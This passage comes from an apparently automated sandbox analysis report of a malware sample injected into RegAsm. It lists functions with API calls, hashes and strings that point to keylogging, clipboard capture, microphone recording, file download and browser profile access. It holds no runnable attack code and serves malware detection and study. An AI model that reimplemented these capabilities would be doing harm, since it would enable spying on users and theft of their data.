                      • Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568
                      Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                      • Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
                      • Opcode Fuzzy Hash: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                      • Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169
                      Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • ___BuildCatchObject.LIBVCRUNTIME ref: 0043987A
                        • Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC
                      • _UnwindNestedFrames.LIBCMT ref: 00439891
                      • ___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
                      • CallCatchBlock.LIBVCRUNTIME ref: 004398C7
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                      • String ID:
                      • API String ID: 2633735394-0
                      • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                      • Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
                      • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                      • Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5
                      Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: MetricsSystem
                      • String ID:
                      • API String ID: 4116985748-0
                      • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                      • Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
                      • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                      • Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785
                      Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                      Download Yara Rule
                      APIs
                      • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
                      • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
                      • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B
                        • Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B
                      • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                      • String ID:
                      • API String ID: 1761009282-0
                      • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                      • Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
                      • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                      • Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F
                      Function 00442C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                      Download Yara Rule
                      APIs
                      • __startOneArgErrorHandling.LIBCMT ref: 00442CED
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorHandling__start
                      • String ID: pow
                      • API String ID: 3213639722-2276729525
                      • Opcode ID: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                      • Instruction ID: c2a334fe3ab53b67a82bc2a1da04863f7f1ed5e2a579c87dfbcc8ae8a095d349
                      • Opcode Fuzzy Hash: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                      • Instruction Fuzzy Hash: C6516DA1E0420296FB167B14CE4137B2BA4DB40751F704D7FF096823AAEB7D8C859A4F
                      Function 100063F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 1000655C
                        • Part of subcall function 100062BC: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 100062BE
                        • Part of subcall function 100062BC: GetCurrentProcess.KERNEL32(C0000417), ref: 100062E0
                        • Part of subcall function 100062BC: TerminateProcess.KERNEL32(00000000), ref: 100062E7
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                      • String ID: *?$.
                      • API String ID: 2667617558-3972193922
                      • Opcode ID: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                      • Instruction ID: 55016225c6cf3c2ad74d5bf99958d96f24b8fe448c0df4d83e2be8db5664878a
                      • Opcode Fuzzy Hash: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                      • Instruction Fuzzy Hash: 2D519475E0060A9FEB14CFA8CC81AADB7F6FF4C394F258169E854E7349D635AE018B50
                      Function 00418A92 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON
                      Download Yara Rule
                      APIs
                      • SHCreateMemStream.SHLWAPI(00000000,00000000), ref: 00418ABE
                        • Part of subcall function 00418656: GdipLoadImageFromStream.GDIPLUS(?,?,?,00418AD1,00000000,?,?,?,?,00000000), ref: 0041866A
                      • SHCreateMemStream.SHLWAPI(00000000), ref: 00418B0B
                        • Part of subcall function 004186CB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00418B27,00000000,?,?), ref: 004186DD
                        • Part of subcall function 00418679: GdipDisposeImage.GDIPLUS(?,00418B82), ref: 00418682
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Stream$GdipImage$Create$DisposeFromLoadSave
                      • String ID: image/jpeg
                      • API String ID: 1291196975-3785015651
                      • Opcode ID: 6e04f8ac358d86261f340c02fc4254ea4fa5b72d51dab4b51890127c9f8658cf
                      • Instruction ID: 71c7567624fb1f0fb67e5b365d5baafb3eed0516d04e2b9615b8e3d4f66a2876
                      • Opcode Fuzzy Hash: 6e04f8ac358d86261f340c02fc4254ea4fa5b72d51dab4b51890127c9f8658cf
                      • Instruction Fuzzy Hash: 13317F71504300AFC301EF65CC84DAFB7E9FF8A704F00496EF985A7251DB7999448BA6
                      Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                      • __Init_thread_footer.LIBCMT ref: 0040B797
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Init_thread_footer__onexit
                      • String ID: [End of clipboard]$[Text copied to clipboard]
                      • API String ID: 1881088180-3686566968
                      • Opcode ID: b75b6418a390f749317f2ab44173591ff602460dbf5675c7faf818e64fc176e3
                      • Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
                      • Opcode Fuzzy Hash: b75b6418a390f749317f2ab44173591ff602460dbf5675c7faf818e64fc176e3
                      • Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C
                      Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451D92,?,00000050,?,?,?,?,?), ref: 00451C12
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: ACP$OCP
                      • API String ID: 0-711371036
                      • Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                      • Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
                      • Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                      • Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C
                      Function 00418B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON
                      Download Yara Rule
                      APIs
                      • SHCreateMemStream.SHLWAPI(00000000,00000000), ref: 00418BAA
                        • Part of subcall function 00418656: GdipLoadImageFromStream.GDIPLUS(?,?,?,00418AD1,00000000,?,?,?,?,00000000), ref: 0041866A
                      • SHCreateMemStream.SHLWAPI(00000000,00000000), ref: 00418BCF
                        • Part of subcall function 004186CB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00418B27,00000000,?,?), ref: 004186DD
                        • Part of subcall function 00418679: GdipDisposeImage.GDIPLUS(?,00418B82), ref: 00418682
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Stream$GdipImage$Create$DisposeFromLoadSave
                      • String ID: image/png
                      • API String ID: 1291196975-2966254431
                      • Opcode ID: a27ec27d9e18f0a906ecaac1dc19e5732830617660cf953b76ad9b2867ca9ec8
                      • Instruction ID: c6f894421d6f6d4ca6915e56eba1d7ff3797fde04a376feef2065c2e579c4a83
                      • Opcode Fuzzy Hash: a27ec27d9e18f0a906ecaac1dc19e5732830617660cf953b76ad9b2867ca9ec8
                      • Instruction Fuzzy Hash: 30219371204211AFC705EB61CC88CBFBBADEFCA754F10092EF54693161DB399945CBA6
                      Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087
                      Strings
                      • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LocalTime
                      • String ID: KeepAlive | Enabled | Timeout:
                      • API String ID: 481472006-1507639952
                      • Opcode ID: 5b49fe7ebc3dd67cdf94e38743eb20928709a3ec39b389cca4b516c591649347
                      • Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
                      • Opcode Fuzzy Hash: 5b49fe7ebc3dd67cdf94e38743eb20928709a3ec39b389cca4b516c591649347
                      • Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF
                      Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                      Download Yara Rule
                      APIs
                      • Sleep.KERNEL32 ref: 00416640
                      • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DownloadFileSleep
                      • String ID: !D@
                      • API String ID: 1931167962-604454484
                      • Opcode ID: e2f37744b7fb9eb9058f71ff0aa918298059d13fe50ac3369e39da324d73493c
                      • Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
                      • Opcode Fuzzy Hash: e2f37744b7fb9eb9058f71ff0aa918298059d13fe50ac3369e39da324d73493c
                      • Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A
                      Function 100016AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _strlen
                      • String ID: : $Se.
                      • API String ID: 4218353326-4089948878
                      • Opcode ID: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                      • Instruction ID: 66f447a9efa091531784e06c0e565222335d100d85517175c1dac28435e0d9bb
                      • Opcode Fuzzy Hash: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                      • Instruction Fuzzy Hash: 2F11E7B5904249AEDB11DFA8D841BDEFBFCEF09244F104056E545E7252E6706B02C765
                      Function 0041B4EF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LocalTime
                      • String ID: | $%02i:%02i:%02i:%03i
                      • API String ID: 481472006-2430845779
                      • Opcode ID: 9943bc0e607642414e1270e8ed0348d03c595322458554df1a59568979ca2f05
                      • Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
                      • Opcode Fuzzy Hash: 9943bc0e607642414e1270e8ed0348d03c595322458554df1a59568979ca2f05
                      • Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A
                      Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                      Download Yara Rule
                      APIs
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: alarm.wav$hYG
                      • API String ID: 1174141254-2782910960
                      • Opcode ID: 18e052de717180e5ab5073ed062dd2c189db3243629e7a025cf8991a71f881ef
                      • Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
                      • Opcode Fuzzy Hash: 18e052de717180e5ab5073ed062dd2c189db3243629e7a025cf8991a71f881ef
                      • Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F
                      Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                        • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • CloseHandle.KERNEL32(?), ref: 0040B0B4
                      • UnhookWindowsHookEx.USER32 ref: 0040B0C7
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                      • String ID: Online Keylogger Stopped
                      • API String ID: 1623830855-1496645233
                      • Opcode ID: 086a3c4929947be54678252dfea77875741b8c789e716d5a77e1f3bca4bdded6
                      • Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
                      • Opcode Fuzzy Hash: 086a3c4929947be54678252dfea77875741b8c789e716d5a77e1f3bca4bdded6
                      • Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE
                      Function 10001EDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                      Download Yara Rule
                      APIs
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 10002903
                        • Part of subcall function 100035D2: RaiseException.KERNEL32(?,?,?,10002925,00000000,00000000,00000000,?,?,?,?,?,10002925,?,100121B8), ref: 10003632
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 10002920
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Exception@8Throw$ExceptionRaise
                      • String ID: Unknown exception
                      • API String ID: 3476068407-410509341
                      • Opcode ID: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                      • Instruction ID: 696891806b75a506f07e96a947ab79166ff1ea0d2f17bc9dac180a151cc952bd
                      • Opcode Fuzzy Hash: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                      • Instruction Fuzzy Hash: 2BF0A47890420D77AB04E6E5EC4599D77ACDB006D0F508161FD1496499EF31FA658690
                      Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                      Download Yara Rule
                      APIs
                      • waveInPrepareHeader.WINMM(00878F78,00000020,?), ref: 00401849
                      • waveInAddBuffer.WINMM(00878F78,00000020), ref: 0040185F
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: wave$BufferHeaderPrepare
                      • String ID: XMG
                      • API String ID: 2315374483-813777761
                      • Opcode ID: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                      • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                      • Opcode Fuzzy Hash: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                      • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                      Function 00448AE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LocaleValid
                      • String ID: IsValidLocaleName$JD
                      • API String ID: 1901932003-2234456777
                      • Opcode ID: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                      • Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
                      • Opcode Fuzzy Hash: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                      • Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E
                      Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                      Download Yara Rule
                      APIs
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: UserProfile$\AppData\Local\Google\Chrome\
                      • API String ID: 1174141254-4188645398
                      • Opcode ID: d11da1c58d5dd2ef9da09c3ea68de0927d50847f2cce6e72d2cc7c3e9ccd8b86
                      • Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
                      • Opcode Fuzzy Hash: d11da1c58d5dd2ef9da09c3ea68de0927d50847f2cce6e72d2cc7c3e9ccd8b86
                      • Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE
                      Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                      Download Yara Rule
                      APIs
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                      • API String ID: 1174141254-2800177040
                      • Opcode ID: 62d77e7710f88fd67431bbf20b3e0d601dfd53fd2a54c8c31c6ded84776c1d6f
                      • Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
                      • Opcode Fuzzy Hash: 62d77e7710f88fd67431bbf20b3e0d601dfd53fd2a54c8c31c6ded84776c1d6f
                      • Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE
                      Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                      Download Yara Rule
                      APIs
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C5BC
                      Strings
                      Memory Dump Source
